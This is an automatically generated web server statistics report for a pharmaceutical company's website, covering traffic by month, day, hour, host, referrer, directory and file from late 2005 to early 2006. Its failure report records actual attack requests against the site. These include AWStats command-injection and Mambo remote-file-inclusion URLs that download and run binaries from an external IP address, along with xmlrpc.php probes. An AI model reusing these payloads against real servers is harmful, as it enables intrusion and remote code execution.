Web Server Statistics for Medochemie Website

Program started at Mon-27-Feb-2006 00:04.
Analysed requests from Tue-29-Nov-2005 00:26 to Sun-26-Feb-2006 23:58 (89.98 days).

General Summary

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report contains overall statistics.

(Figures in parentheses refer to the 7-day period ending 27-Feb-2006 00:04).
Successful requests: 139,662 (13,369)
Average successful requests per day: 1,552 (1,909)
Successful requests for pages: 32,009 (2,876)
Average successful requests for pages per day: 355 (410)
Failed requests: 57,686 (5,455)
Redirected requests: 26 (6)
Distinct files requested: 454 (333)
Distinct hosts served: 3,742 (583)
Corrupt logfile lines: 40
Unwanted logfile entries: 1,417,500
Data transferred: 1.15 gigabytes (110.19 megabytes)
Average data transferred per day: 13.03 megabytes (15.74 megabytes)


Monthly Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the activity in each month.

Each unit (+) represents 300 requests for pages or part thereof.

   month:  reqs: pages: 
--------: -----: -----: 
Nov 2005:  3039:   699: +++
Dec 2005: 40776:  9598: ++++++++++++++++++++++++++++++++

Jan 2006: 49912: 11648: +++++++++++++++++++++++++++++++++++++++
Feb 2006: 45935: 10064: ++++++++++++++++++++++++++++++++++
Busiest month: Jan 2006 (11,648 requests for pages).

Weekly Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the activity in each week.

Each unit (+) represents 80 requests for pages or part thereof.

week beg.:  reqs: pages: 
---------: -----: -----: 
27/Nov/05:  6906:  1833: +++++++++++++++++++++++
 4/Dec/05: 10296:  2388: ++++++++++++++++++++++++++++++
11/Dec/05: 11627:  2352: ++++++++++++++++++++++++++++++
18/Dec/05:  8179:  2013: ++++++++++++++++++++++++++
25/Dec/05:  6807:  1711: ++++++++++++++++++++++
 1/Jan/06:  9159:  2300: +++++++++++++++++++++++++++++
 8/Jan/06: 12015:  2778: +++++++++++++++++++++++++++++++++++
15/Jan/06: 11344:  2642: ++++++++++++++++++++++++++++++++++
22/Jan/06: 11902:  2745: +++++++++++++++++++++++++++++++++++
29/Jan/06: 12618:  2793: +++++++++++++++++++++++++++++++++++
 5/Feb/06: 11715:  2499: ++++++++++++++++++++++++++++++++
12/Feb/06: 13044:  2892: +++++++++++++++++++++++++++++++++++++
19/Feb/06: 12538:  2653: ++++++++++++++++++++++++++++++++++
26/Feb/06:  1512:   410: ++++++
Busiest week: week beginning 12/Feb/06 (2,892 requests for pages).

Daily Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the activity in each day.

Each unit (+) represents 15 requests for pages or part thereof.

     date: reqs: pages: 
---------: ----: -----: 
16/Jan/06: 1694:   403: +++++++++++++++++++++++++++
17/Jan/06: 2778:   534: ++++++++++++++++++++++++++++++++++++
18/Jan/06: 2368:   483: +++++++++++++++++++++++++++++++++
19/Jan/06: 1614:   440: ++++++++++++++++++++++++++++++
20/Jan/06: 1307:   325: ++++++++++++++++++++++
21/Jan/06:  546:   167: ++++++++++++

22/Jan/06: 1012:   249: +++++++++++++++++
23/Jan/06: 2114:   501: ++++++++++++++++++++++++++++++++++
24/Jan/06: 2330:   520: +++++++++++++++++++++++++++++++++++
25/Jan/06: 2082:   510: ++++++++++++++++++++++++++++++++++
26/Jan/06: 2229:   495: +++++++++++++++++++++++++++++++++
27/Jan/06: 1281:   277: +++++++++++++++++++
28/Jan/06:  854:   193: +++++++++++++

29/Jan/06:  718:   212: +++++++++++++++
30/Jan/06: 2385:   450: ++++++++++++++++++++++++++++++
31/Jan/06: 2389:   521: +++++++++++++++++++++++++++++++++++
 1/Feb/06: 2389:   535: ++++++++++++++++++++++++++++++++++++
 2/Feb/06: 2027:   392: +++++++++++++++++++++++++++
 3/Feb/06: 1643:   384: ++++++++++++++++++++++++++
 4/Feb/06: 1067:   299: ++++++++++++++++++++

 5/Feb/06: 1285:   345: +++++++++++++++++++++++
 6/Feb/06: 2235:   480: ++++++++++++++++++++++++++++++++
 7/Feb/06: 1722:   325: ++++++++++++++++++++++
 8/Feb/06: 1504:   378: ++++++++++++++++++++++++++
 9/Feb/06: 1738:   419: ++++++++++++++++++++++++++++
10/Feb/06: 2209:   405: +++++++++++++++++++++++++++
11/Feb/06: 1022:   147: ++++++++++

12/Feb/06: 1133:   261: ++++++++++++++++++
13/Feb/06: 2584:   533: ++++++++++++++++++++++++++++++++++++
14/Feb/06: 1941:   430: +++++++++++++++++++++++++++++
15/Feb/06: 2273:   499: ++++++++++++++++++++++++++++++++++
16/Feb/06: 2001:   482: +++++++++++++++++++++++++++++++++
17/Feb/06: 2507:   560: ++++++++++++++++++++++++++++++++++++++
18/Feb/06:  605:   127: +++++++++

19/Feb/06:  681:   187: +++++++++++++
20/Feb/06: 2720:   501: ++++++++++++++++++++++++++++++++++
21/Feb/06: 2069:   403: +++++++++++++++++++++++++++
22/Feb/06: 1777:   332: +++++++++++++++++++++++
23/Feb/06: 2055:   449: ++++++++++++++++++++++++++++++
24/Feb/06: 1858:   482: +++++++++++++++++++++++++++++++++
25/Feb/06: 1378:   299: ++++++++++++++++++++

26/Feb/06: 1512:   410: ++++++++++++++++++++++++++++
Busiest day: 9/Jan/06 (622 requests for pages).

Daily Summary

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the total activity for each day of the week, summed over all the weeks in the report.

Each unit (+) represents 150 requests for pages or part thereof.

day:  reqs: pages: 
---: -----: -----: 
Sun: 10955:  2952: ++++++++++++++++++++
Mon: 24197:  5087: ++++++++++++++++++++++++++++++++++
Tue: 24513:  5412: +++++++++++++++++++++++++++++++++++++
Wed: 25250:  5556: ++++++++++++++++++++++++++++++++++++++
Thu: 24703:  5896: ++++++++++++++++++++++++++++++++++++++++
Fri: 19632:  4467: ++++++++++++++++++++++++++++++
Sat: 10412:  2639: ++++++++++++++++++

Hourly Summary

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the total activity for each hour of the day, summed over all the days in the report.

Each unit (+) represents 60 requests for pages or part thereof.

hour:  reqs: pages: 
----: -----: -----: 
   0:  3006:   791: ++++++++++++++
   1:  4989:  1126: +++++++++++++++++++
   2:  6835:  1640: ++++++++++++++++++++++++++++
   3:  8540:  2009: ++++++++++++++++++++++++++++++++++
   4:  8863:  2016: ++++++++++++++++++++++++++++++++++
   5: 11223:  2410: +++++++++++++++++++++++++++++++++++++++++
   6: 10621:  2202: +++++++++++++++++++++++++++++++++++++
   7: 10231:  2269: ++++++++++++++++++++++++++++++++++++++
   8:  9833:  2111: ++++++++++++++++++++++++++++++++++++
   9:  9066:  1892: ++++++++++++++++++++++++++++++++
  10:  8048:  1658: ++++++++++++++++++++++++++++
  11:  7306:  1583: +++++++++++++++++++++++++++
  12:  5688:  1350: +++++++++++++++++++++++
  13:  4049:   938: ++++++++++++++++
  14:  4362:  1033: ++++++++++++++++++
  15:  5073:  1122: +++++++++++++++++++
  16:  3846:   967: +++++++++++++++++
  17:  3956:   916: ++++++++++++++++
  18:  1749:   475: ++++++++
  19:  2093:   488: +++++++++
  20:  2699:   753: +++++++++++++
  21:  2072:   548: ++++++++++
  22:  3247:   891: +++++++++++++++
  23:  2267:   821: ++++++++++++++

Domain Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the countries of the computers which requested files.

Listing domains, sorted by the amount of traffic.

  reqs: %bytes: domain
------: ------: ------
139662:   100%: [unresolved numerical addresses]

Organisation Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the organisations of the computers which requested files.

Listing the top 20 organisations by the number of requests, sorted by the number of requests.

 reqs: %bytes: organisation
-----: ------: ------------
10524:  5.43%: 82
 6473:  4.69%: 83
 4832:  2.77%: 84
 4832:  2.61%: 87
 4501:  2.81%: 81.4
 3791:  2.91%: 86
 3383:  1.53%: 212.31
 3124:  2.29%: 85
 2489:  1.16%: 65.54
 2204:  1.66%: 213.149
 2168:  1.33%: 62.38
 1782:  1.04%: 59
 1654:  1.29%: 195.14
 1643:  1.55%: 60
 1559:  0.61%: 66.249
 1338:  1.58%: 165.21
 1272:  0.98%: 81.181
 1248:  0.47%: 202.156
 1068:  0.48%: 88
 1007:  0.74%: 68.142
78770: 62.08%: [not listed: 1,188 organisations]

Host Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the computers which requested files.

Listing the top 50 hosts by the number of requests, sorted alphabetically.

  reqs: %bytes: host
------: ------: ----
   722:  0.15%: 59.57.188.79
   926:  0.86%: 61.129.52.210
   419:  0.18%: 62.38.25.170
   325:  0.21%: 62.38.70.183
   305:  0.07%: 62.85.121.115
   816:  0.32%: 62.168.87.170
   267:  0.16%: 64.90.3.82
  1775:  0.80%: 65.54.188.29
   368:  0.19%: 65.54.188.51
   271:  0.11%: 65.54.188.53
   582:  0.40%: 65.55.246.39
   707:  0.40%: 65.214.44.125
   569:  0.25%: 66.249.72.228
   328:  0.19%: 80.61.114.174
   307:  0.16%: 81.4.160.194
   430:  0.15%: 81.4.175.186
   468:  0.23%: 81.4.177.6
   270:  0.26%: 81.21.45.44
   615:  0.40%: 81.181.94.71
   279:  0.21%: 81.208.75.82
   259:  0.06%: 82.66.166.92
   335:  0.19%: 82.72.66.61
   367:  0.22%: 82.76.35.70
  3910:  0.39%: 82.119.239.68
   289:  0.20%: 83.16.240.218
   275:  0.18%: 83.97.31.113
   267:  0.14%: 83.168.10.120
   446:  0.19%: 84.85.140.109
  1230:  0.26%: 84.85.218.32
   335:  0.29%: 85.70.121.209
   260:  0.19%: 86.123.171.162
   483:  0.10%: 87.123.33.73
   426:  0.43%: 87.228.164.194
  1311:  0.11%: 87.244.193.13
   645:  0.40%: 87.247.68.60
   576:  0.01%: 88.212.31.56
   278:  0.10%: 139.30.24.104
   488:  0.19%: 169.71.50.35
   283:  0.10%: 193.120.174.1
   392:  0.24%: 193.188.105.23
   436:  0.33%: 194.154.149.198
  1248:  0.47%: 202.156.6.61
  1609:  0.39%: 212.31.102.23
   393:  0.45%: 212.56.128.184
   618:  0.44%: 212.130.22.2
   402:  0.17%: 213.134.155.187
   308:  0.13%: 213.207.149.122
   387:  0.14%: 217.147.131.84
   276:  0.07%: 218.111.141.134
   499:  0.24%: 218.208.226.61
109882: 87.50%: [not listed: 3,692 hosts]

Referrer Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the referrers (where people followed links from, or pages which included this site's images).

Listing referring URLs with at least 20 requests, sorted by the number of requests.

 reqs: URL
-----: ---
15925: http://www.medochemie.com/about_world.php
12136: http://www.medochemie.com/home.htm
 7044: http://www.medochemie.com/about_history.htm
 5815: http://www.medochemie.com/about/1934.htm
 5724: http://www.medochemie.com/catg_antibacterials.htm
 5000: http://www.medochemie.com/prod_category.htm
 3798: http://www.medochemie.com/about_awards.htm
 2985: http://www.medochemie.com/catg_cardiovasc.htm
 2905: http://www.medochemie.com/catg_anti-inflam.htm
 2456: http://www.medochemie.com/contact.htm
 2334: http://www.medochemie.com/prod_country.htm
 2324: http://www.medochemie.com/career.htm
 1913: http://www.medochemie.com/
 1837: http://www.medochemie.com/site_map.htm
 1834: http://www.medochemie.com/catg_cns.htm
 1760: http://www.medochemie.com/catg_gastrointestinals.htm
 1583: http://www.medochemie.com/about_event.htm
 1467: http://www.medochemie.com/count_singapore.htm
 1137: http://www.medochemie.com/legal.htm
 1130: http://www.medochemie.com/catg_antivirals.htm
 1124: http://www.medochemie.com/career_quality.htm
 1078: http://www.medochemie.com/catg_respanaller.htm
 1008: http://www.medochemie.com/about_profile.htm
  867: http://www.medochemie.com/count_belarus.htm
  862: http://www.medochemie.com/catg_antifungal.htm
  826: http://www.medochemie.com/career_production.htm
  799: http://www.medochemie.com/count_russia.htm
  743: http://www.medochemie.com/regulatory.htm
  703: http://www.medochemie.com/count_bulgaria.htm
  647: http://www.medochemie.com/count_romania.htm
  527: http://www.medochemie.com/count_czech.htm
  526: http://www.medochemie.com/count_ukraine.htm
  525: http://www.google.com/search
   26:   http://www.google.com/search?hl=en&q=medochemie
  524: http://www.medochemie.com/about_future.htm
  477: http://www.medochemie.com/count_greece.htm
  433: http://www.medochemie.com/career_sales.htm
  421: http://www.medochemie.com/count_vietnam.htm
  375: http://www.medochemie.com/about/1983.htm
  372: http://www.medochemie.com/catg_antidiabetic.htm
  367: http://www.medochemie.com/count_lithuania.htm
  336: http://www.medochemie.com/prof_sales.htm
  334: http://www.medochemie.com/about/1985.htm
  323: http://www.medochemie.com/about/1987.htm
  317: http://www.medochemie.com/about/1976.htm
  308: http://www.medochemie.com/count_latvia.htm
  304: http://www.medochemie.com/about/1990.htm
  276: http://www.medochemie.com/career_q_qcc.htm
  261: http://www.medochemie.com/about/1996.htm
  258: http://www.medochemie.com/career_administraton.htm
  252: http://www.medochemie.com/prof_training.htm
  251: http://www.medochemie.com/about_social.htm
  250: http://www.medochemie.com/count_kazakhstan.htm
  246: http://www.medochemie.com/images/image.php
   31:   http://www.medochemie.com/images/image.php?id=d2001
   30:   http://www.medochemie.com/images/image.php?id=2002
   28:   http://www.medochemie.com/images/image.php?id=2001
   18:   http://www.medochemie.com/images/image.php?id=d1990
   17:   http://www.medochemie.com/images/image.php?id=d1983
   17:   http://www.medochemie.com/images/image.php?id=1998
   16:   http://www.medochemie.com/images/image.php?id=1987
   15:   http://www.medochemie.com/images/image.php?id=d2002
   14:   http://www.medochemie.com/images/image.php?id=1996
   13:   http://www.medochemie.com/images/image.php?id=1990a
   12:   http://www.medochemie.com/images/image.php?id=1983
   10:   http://www.medochemie.com/images/image.php?id=1985
   10:   http://www.medochemie.com/images/image.php?id=d1987
  241: http://www.medochemie.com/about/1998.htm
  237: http://search.yahoo.com/search
  206: http://www.medochemie.com/career_p_supervisor.htm
  202: http://medochemie.com/home.htm
  194: http://www.medochemie.com/count_slovakia.htm
  178: http://medochemie.com/about_world.php
  177: http://www.medochemie.com/about/slide show/1934.htm
  172: http://www.medochemie.com/prof_research.htm
  169: http://www.medochemie.com/prof_quality.htm
  162: http://www.medochemie.com/prof_technology.htm
  158: http://www.medochemie.com/about/2002.htm
  151: http://www.medochemie.com/about/1992.htm
  150: http://www.medochemie.com/career_r_ras.htm
  148: http://www.medochemie.com/about/1991.htm
  148: http://www.medochemie.com/career_q_mpcv.htm
  147: http://www.medochemie.com/career_p_technician.htm
  146: http://www.medochemie.com/about/1993.htm
  142: http://www.medochemie.com/about/1994.htm
  139: http://www.medochemie.com/about/1995.htm
  131: http://www.medochemie.com/about/1997.htm
  129: http://www.medochemie.com/about/2001.htm
  127: http://babelfish.altavista.com/babelfish/urltrurl
   28:   http://babelfish.altavista.com/babelfish/urltrurl?lp=en_zt&trurl=http://www.medochemie.com/catg_antibacterials.htm
   23:   http://babelfish.altavista.com/babelfish/urltrurl?lp=en_zt&trurl=http://www.medochemie.com/about_world.php
   18:   http://babelfish.altavista.com/babelfish/urltrurl?lp=en_zt&trurl=http://www.medochemie.com/catg_anti-inflam.htm
   10:   http://babelfish.altavista.com/babelfish/urltrurl?lp=en_zt&trurl=http://www.medochemie.com/catg_antivirals.htm
   10:   http://babelfish.altavista.com/babelfish/urltrurl?lp=en_zt&trurl=http://www.medochemie.com/about_history.htm
  126: http://www.medochemie.com/about/2000.htm
  118: http://www.medochemie.com/career_q_av.htm
  114: http://www.google.ro/search
   16:   http://www.google.ro/search?hl=ro&q=medochemie&meta=
  109: http://www.medochemie.com/career_q_ev.htm
   85: http://www.google.co.uk/search
   80: http://216.239.39.104/translate_c
   23:   http://216.239.39.104/translate_c?hl=es&u=http://www.medochemie.com/about_world.php&prev=/search%3Fq%3Dcyprusnet%26hl%3Des%26lr%3D%26sa%3DG
   80: http://www.medochemie.com/about_world.htm
   79: http://www.google.com.sg/search
   77: http://www.medochemie.com/about/slide show/1983.htm
   77: http://images.google.com/imgres
   73: http://medochemie.com/about_history.htm
   72: http://www.medochemie.com/about/slide show/1985.htm
   71: http://www.medochemie.com/about/slide show/1976.htm
   71: http://www.cyprushealth.com/
   69: http://www.medochemie.com/about/slide show/1987.htm
   65: http://search.msn.com/results.aspx
   64: http://www.cyprusindustry.com/
   63: http://www.egagenerics.com/ega-links.htm
   56: http://www.google.com.my/search
   55: http://www.cyprusyellowpages.com/external.asp
   55:   http://www.cyprusyellowpages.com/external.asp?src=http://www.medochemie.com
   55: http://www.medochemie.com/includes/medochemie.css
   52: http://medochemie.com/prod_category.htm
   51: http://202.43.196.230/language/translatedPage2
   17:   http://202.43.196.230/language/translatedPage2?lp=en_zt&text=http://www.medochemie.com/about_history.htm&.intl=tw&frame=translatedPage&who=gsp
   16:   http://202.43.196.230/language/translatedPage2?lp=en_zt&.intl=tw&tt=url&text=http://www.medochemie.com/about/1934.htm
   12:   http://202.43.196.230/language/translatedPage2?lp=en_zt&text=http://www.medochemie.com/home.htm&.intl=tw&frame=translatedPage&who=gsp
   50: http://www.medochemie.com/about/slide show/1990.htm
   49: http://cc.msnscache.com/cache.aspx
   15:   http://cc.msnscache.com/cache.aspx?q=2727892737766&lang=en-SG&mkt=en-SG&FORM=CVRE
   12:   http://cc.msnscache.com/cache.aspx?q=2727892737766&lang=en-SG&mkt=en-SG&FORM=CVRE2
   49: http://medochemie.com/about/1934.htm
   43: http://www.google.de/search
   38: http://www.google.co.in/search
   38: http://medochemie.com/
   37: http://medochemie.com/career.htm
   32: http://hk.search.yahoo.com/search
   32: http://www.medochemie.com/about/slide show/1991.htm
   32: http://www.medochemie.com/about/slide show/1992.htm
   32: http://www.medochemie.com/about/slide show/1993.htm
   32: http://medochemie.com/contact.htm
   32: http://www.medochemie.com/about/slide show/start.htm
   29: http://www.google.com.hk/search
   28: http://medochemie.com/about_awards.htm
   26: http://www.pharma-web.ro/
   16:   http://www.pharma-web.ro/?action=show_compani&id=46
   25: http://66.249.93.104/search
   14:   http://66.249.93.104/search?q=cache:4qOVVtVn6uEJ:www.medochemie.com/count_singapore.htm+glibesyn&hl=da
   24: http://www.cyprusindustry.com/Medochemie
   24: http://216.239.37.104/translate_c
   24: http://hk.search.yahoo.com/srch/cache.html
   24:   http://hk.search.yahoo.com/srch/cache.html?p=MEDOCHEMIE+LTD-CYPRUS&yp_r=0&tx=d&s=-ut&meta=rst%3Dhk&fl=0&rst=hk&vst=0&vs=www.medochemie.com&ei=UTF-8&n=10&u=www.medochemie.com/cms/history.php&w=medochemie+ltd+cyprus&d=DiujeG1aMMNA&icp=1&.intl=hk
   24: http://www.medochemie.com/cms/history.php
   24: http://64.233.179.104/translate_c
   23: http://www.google.com.gr/search
   23: http://www.medochemie.com/about/slide show/1994.htm
   23: http://www.medochemie.com/about/slide show/1995.htm
   22: http://www.europlx.com/eplx/1ne/main2.html
   21: http://www.google.fr/search
   21: http://66.218.71.231/language/translation/translatedPage2.php
   21: http://sg.search.yahoo.com/search
 1637: [not listed: 411 URLs]

Directory Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.

 reqs: %bytes: directory
-----: ------: ---------
72378: 62.14%: /images/
33127: 28.06%: [root directory]
18342:  8.43%: /includes/
 5974:  1.02%: /about/
  305:  0.22%: /cms/
 9461:  0.13%: /box/
   75:  0.01%: [not listed: 3 directories]

Failure Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the files that caused failures, for example files not found.

Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.

 reqs: file
-----: ----
34128: /tridown.gif
18102: /tri.gif
 1933: /favicon.ico
 1647: /robots.txt
  140: /xmlrpc.php
  117: /medochemie.htm
  104: /_vti_bin/shtml.exe/contact.htm
   71: /blog/xmlrpc.php
   70: /blogs/xmlsrv/xmlrpc.php
   70: /drupal/xmlrpc.php
   70: /blog/xmlsrv/xmlrpc.php
   70: /phpgroupware/xmlrpc.php
   69: /wordpress/xmlrpc.php
   67: /cgi-bin/awstats.pl
   23:   /cgi-bin/awstats.pl?configdir=|echo;echo YYY;cd /tmp%3bwget 209.136.48.69/mirela%3bchmod +x mirela%3b./mirela;echo YYY;echo|
   66: /awstats/awstats.pl
   23:   /awstats/awstats.pl?configdir=|echo;echo YYY;cd /tmp%3bwget 209.136.48.69/mirela%3bchmod +x mirela%3b./mirela;echo YYY;echo|
   66: /cgi-bin/awstats/awstats.pl
   23:   /cgi-bin/awstats/awstats.pl?configdir=|echo;echo YYY;cd /tmp%3bwget 209.136.48.69/mirela%3bchmod +x mirela%3b./mirela;echo YYY;echo|
   65: /xmlrpc/xmlrpc.php
   63: /xmlsrv/xmlrpc.php
   36: /index.php
   10:   /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd /tmp;wget 209.136.48.69/micu;chmod 744 micu;./micu;echo YYY;echo|
   35: /index2.php
   10:   /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd /tmp;wget 209.136.48.69/micu;chmod 744 micu;./micu;echo YYY;echo|
   33: /cvs/index2.php
   10:   /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd /tmp;wget 209.136.48.69/micu;chmod 744 micu;./micu;echo YYY;echo|
   31: /cvs/mambo/index2.php
   10:   /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd /tmp;wget 209.136.48.69/micu;chmod 744 micu;./micu;echo YYY;echo|
   26: /research.htm
   23: /cms/admin/images/admin/navman.gif
   20: /MSOffice/cltreq.asp
   14:   /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6403&STRMVER=4&CAPREQ=0
   20: /_vti_bin/owssvr.dll
   14:   /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6403&STRMVER=4&CAPREQ=0
   17: /sumthin
   16: /cms/tridown.gif
   15: /modules/Forums/admin/admin_styles.phpadmin_styles.php
   13: /header.htm
  453: [not listed: 250 files]

Request Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Domain Report: Organisation Report: Host Report: Referrer Report: Directory Report: Failure Report: Request Report)

This report lists the files on the site.

Listing files with at least 20 requests, sorted by the number of requests.

reqs: %bytes:       last time: file
----: ------: ---------------: ----
5638:  0.33%: 26/Feb/06 23:55: /
5584:  0.89%: 26/Feb/06 23:56: /includes/medochemie.css
4803:  0.28%: 26/Feb/06 23:56: /images/logo.swf
4636:  1.30%: 26/Feb/06 23:56: /includes/menu_var.js
4555:  1.72%: 26/Feb/06 22:48: /images/bg09.jpg
4481:  5.39%: 26/Feb/06 23:56: /includes/menu_com.js
4410:  1.28%: 26/Feb/06 23:56: /images/top1.gif
4405:  0.76%: 26/Feb/06 23:55: /images/intro.swf
4344:  3.64%: 26/Feb/06 23:56: /images/top08.jpg
2775:  1.36%: 26/Feb/06 22:49: /chemical.swf
2721:  7.72%: 26/Feb/06 23:56: /images/subtop02.jpg
2305:  2.85%: 26/Feb/06 23:56: /chemical3.swf
2282:  1.18%: 26/Feb/06 23:56: /home.htm
2032:  7.42%: 26/Feb/06 23:56: /images/homepage.jpg
1751:  0.11%: 26/Feb/06 22:58: /images/bull1.gif
1340:  0.26%: 26/Feb/06 22:56: /images/logo.gif
1330:  1.80%: 26/Feb/06 21:05: /chemical2.swf
1277:  2.04%: 26/Feb/06 21:05: /images/subtop01.jpg
1195:  0.01%: 26/Feb/06 21:05: /box/right_line.png
1192:  0.01%: 26/Feb/06 21:05: /box/top_line.png
1191:  0.01%: 26/Feb/06 21:05: /box/bottom_line.png
1191:  0.01%: 26/Feb/06 21:05: /box/left_line.png
1185:  0.02%: 26/Feb/06 21:05: /box/bottom_left_corner.png
1185:  0.75%: 26/Feb/06 23:56: /prod_category.htm
1180:  0.02%: 26/Feb/06 21:05: /box/bottom_right_corner.png
1166:  0.02%: 26/Feb/06 21:05: /box/top_right_corner.png
1161:  0.02%: 26/Feb/06 21:05: /box/top_left_corner.png
1160:  0.15%: 26/Feb/06 22:55: /includes/mecidalbrowser.js
